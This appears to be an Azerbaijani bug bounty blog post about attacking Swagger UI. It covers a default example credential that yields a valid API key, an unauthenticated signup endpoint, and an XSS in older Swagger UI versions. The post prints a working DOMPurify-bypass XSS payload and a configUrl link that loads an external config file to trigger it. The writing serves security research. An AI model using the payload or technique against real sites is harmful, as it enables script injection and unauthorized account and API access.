BOOK THIS SPACE FOR AD
ARTICLE ADSwaggerdə qarşılaşdığım 3 əsas attack vektoru haqqında danışacam.Çoxdandı bu mövzudan yazmaq istəyirdim nəhayət həmin gün gəldi:) Əsasən bug hunterlər üçün fərqli yanaşmalar ortaya qoyacağıq.Ümid edirəm faydası olar.
Nədir bu swagger?
Swaggerin əsas məqsədi RESTApi-lər üçün interfeysin təminidir.Üstəlik api dokumentasiyanı manual yazmaq həm də update saxlamaq çətin məsələdir.Burada da köməyimizə swagger gəlir.Swagger bizə source koda əlçatanlığımız olmadan belə RESTApi sorğularını incələməyə və anlamağa yardımçı olur.
Keçək məsələnin security hissəsinə.Ümumiyyətlə swagger UI necə recon olunur,bu interfeysi necə bug bounty skoplarında tapa bilərik deyirsizsə nuclei toolu işimizə yaraya bilər.
Həmişəki kimi avtomatlaşdırma işimizə yarayır lakin bir yerdən sonra mütləq ki manual yola çıxmalıyıq.
Aşağıda basic test swagger nümunəsi verilib:
Yuxarıdakı şəkildən (qıfıl iconu) görə bilərik ki normalda avtorizasiyamız olmadan hər hansı endpointə sorğu göndərə bilmərik.
Bug bounty skoplarında bir neçə swagger ui -a nəzər yetirəndən sonra swaggerlərin birində maraqlı bir məqamla qarşılaşdım.
Normal olaraq bütün api-lər sorğu göndərdikdə avtorizasiya üçün api-key tələb edirdi
Lakin bir option istisna idi, səhifənin ən sonunda avtorizasiya tələb etməyən bir api tapdım bu da user/sign-in endpointi idi. Normal haldır — login üçün niyə api-key tələb olunsun ki?
Optiona daxil olduğum zaman sürprizlə qarşılaşdım.Default yazdıqları example value — valid idi və sign-in olduqda responsda valid api-key qayıdırdı və bu api-key vasitəsilə yuxarıda qeyd etdiyim bütün api-lərə sorğu göndərə bilirik:
Beləcə full api access əldə etmiş olduq,hackerone üçün yenə də şans qalmadı :)
Yenə başqa bir skopda swagger analizlərində avtorizasiya tələb etməyən api tapdım, 1-ci başlıqda yazdığımın oxşar versiyasıdır deyə çox ətraflı yazmayacam.Bu dəfə məsələ signup idi, nə ağıl etmişdilərsə signup avtorizasiya tələb etmirdi yəni istədiyin qədər istədiyin istifadəçini avtorizasiyasız yarada bilərsən:
Swagger 3.14.1 < 3.38.0 versiyalarında XSS açığı mövcuddur.Səbəb isə DomPurify -ın köhnə versiyasını istifadə etməsidir.
Yeri gəlmişkən DomPurify input sanitizasiyası üçün tərtib olunmuş library-dir.
Əvvəlki versiyanı aşağıdakı payloadla bypass edə bilərik:
<form><math><mtext></form><form><mglyph><svg><mtext><textarea><path id="</textarea><img onerror=alert('textarea') src=1>"></form>Final url bu şəkildə olacaq:
https://target.com/swagger-ui/index.html?configUrl=https://jumpy-floor.surge.sh/test.json
Burada qeyd olunan şərtlər daxilində config faylını, DOM-u external mənbədən ( json və ya yaml ola bilər) çağıraraq XSS trigger etmək mümkündür: